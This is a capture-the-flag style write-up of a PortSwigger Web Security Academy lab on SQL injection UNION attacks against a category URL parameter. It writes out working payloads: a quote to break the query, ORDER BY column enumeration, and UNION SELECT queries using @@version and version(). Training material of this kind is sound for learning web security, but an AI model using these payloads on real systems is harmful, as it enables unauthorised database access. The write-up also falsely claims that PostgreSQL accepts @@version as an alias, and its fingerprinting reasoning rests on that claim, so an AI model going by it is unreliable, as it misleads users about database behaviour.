SQL Injection UNION Attack — Retrieving Database Version (MySQL / PostgreSQL)¶
| Field | Value |
|---|---|
| Platform | PortSwigger Web Security Academy |
| Vulnerability | SQL Injection — UNION Attack |
| Difficulty | Practitioner |
| Injection Point | category URL parameter |
| Goal | Retrieve the database version string via UNION injection |
Phase 1 — Reconnaissance¶
The application displays blog posts filtered by category. Selecting Pets changes the URL:
/filter?category=Pets
Phase 2 — Confirming Injection¶
Adding a single quote to the URL:
/filter?category=Pets'
Internal server error — 500 status confirmed in DevTools. The application is likely building this query:
SELECT title, body FROM post WHERE category = 'Pets'
Injecting ' breaks the syntax:
SELECT title, body FROM post WHERE category = 'Pets''
Injection confirmed.
Phase 3 — Enumerate Column Count¶
Using ORDER BY to determine how many columns the original query returns. Starting high:
/filter?category=Pets' ORDER BY 6 -- -
Error. Reducing down to 2:
/filter?category=Pets' ORDER BY 2 -- -
200 OK — the query returns exactly 2 columns.
Phase 4 — Test Column Data Types and DB Fingerprint¶
Testing both columns with string placeholders:
/filter?category=Pets' UNION SELECT 'a','b' -- -
This worked without needing FROM dual — which immediately rules out Oracle. Oracle mandates a FROM clause in every SELECT; if plain UNION SELECT 'a','b' -- - succeeds, the backend is not Oracle. The candidates are MySQL, PostgreSQL, or Microsoft SQL Server.
Phase 5 — Retrieve the Database Version¶
Each database engine exposes its version through different syntax. From the cheat sheet:
-- Microsoft SQL Server / MySQL
SELECT @@version
-- PostgreSQL
SELECT version()
Testing MySQL/MSSQL syntax first:
/filter?category=Pets' UNION SELECT 'a',@@version -- -
Then PostgreSQL:
/filter?category=Pets' UNION SELECT 'a',version() -- -
Both worked — both @@version and version() returned output. This is because PostgreSQL supports @@version as an alias for compatibility, so both syntaxes can succeed on a PostgreSQL backend. The version string in the response confirms which engine is actually running.
Lab solved.
Conclusion¶
- A single quote in
categorycaused a500error, confirming unsanitized input passed into the SQL query. ORDER BYenumeration confirmed the query returned 2 columns.UNION SELECT 'a','b' -- -succeeded withoutFROM dual— immediately ruling out Oracle, since Oracle mandates aFROMclause.- Testing
@@versionandversion()in the second column returned the database version string in the response body, solving the lab.